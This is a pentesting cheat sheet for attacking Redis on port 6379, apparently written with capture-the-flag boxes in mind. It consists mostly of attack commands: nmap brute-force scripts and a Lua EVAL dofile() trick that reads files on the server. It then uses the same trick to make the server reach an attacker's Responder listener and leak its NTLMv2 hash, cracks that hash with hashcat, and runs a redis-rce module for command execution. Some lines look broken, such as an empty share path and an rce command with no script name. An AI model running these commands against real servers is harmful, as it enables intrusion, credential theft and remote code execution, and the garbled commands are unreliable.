Skip to content

6379 - Pentesting redis


sudo nmap -p 6379 -A $IP
sudo nmap -sV -p 6379 --script=redis-info.nse $IP
sudo nmap -sV -p 6379 --script=redis-brute.nse $IP



# sudo apt-get install redis-tools
redis-cli -h $IP
redis-cli -h $IP --pass password1234

redis> info
redis> INFO
redis> client list
redis> CONFIG GET *



Redis can execute Lua scripts (in a sandbox, more on that later) via the “EVAL” command. The sandbox allows the dofile() command (WHY???). It can be used to enumerate files and directories. No specific privilege is needed by Redis… If the Lua script is syntaxically invalid or attempts to set global variables, the error messages will leak some content of the target file.


access file on server

redis-cli -h $IP
> eval "dofile('C:\\\\Users\\\\enterprise-security\\\\Desktop\\\\user.txt')" 0

obtaining the NTLMv2 Hash / User’s password

Now that we know that we can access files on the server, we can try to do some more advanced stuff. We could try to access a remote share. This would leak the NTLM hash of the user as he/she tries to authenticate himself/herself. If this remote share is on our machine, we could attempt to log the access and thus get access to the hash.

For that, we first set up a listener using Impacket's

sudo responder -I tun0

Then, we use the redis eval technique to access the exposed share.

redis-cli -h $IP eval "dofile('//')" 0 

Crack NTLMv2 hash

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

4.X / 5.X

    cd /RedisModules-ExecuteCommand
    cd /redis-rce
    python3 -r $IP -p 6379 -L -P 6379 -f ../RedisModules-ExecuteCommand/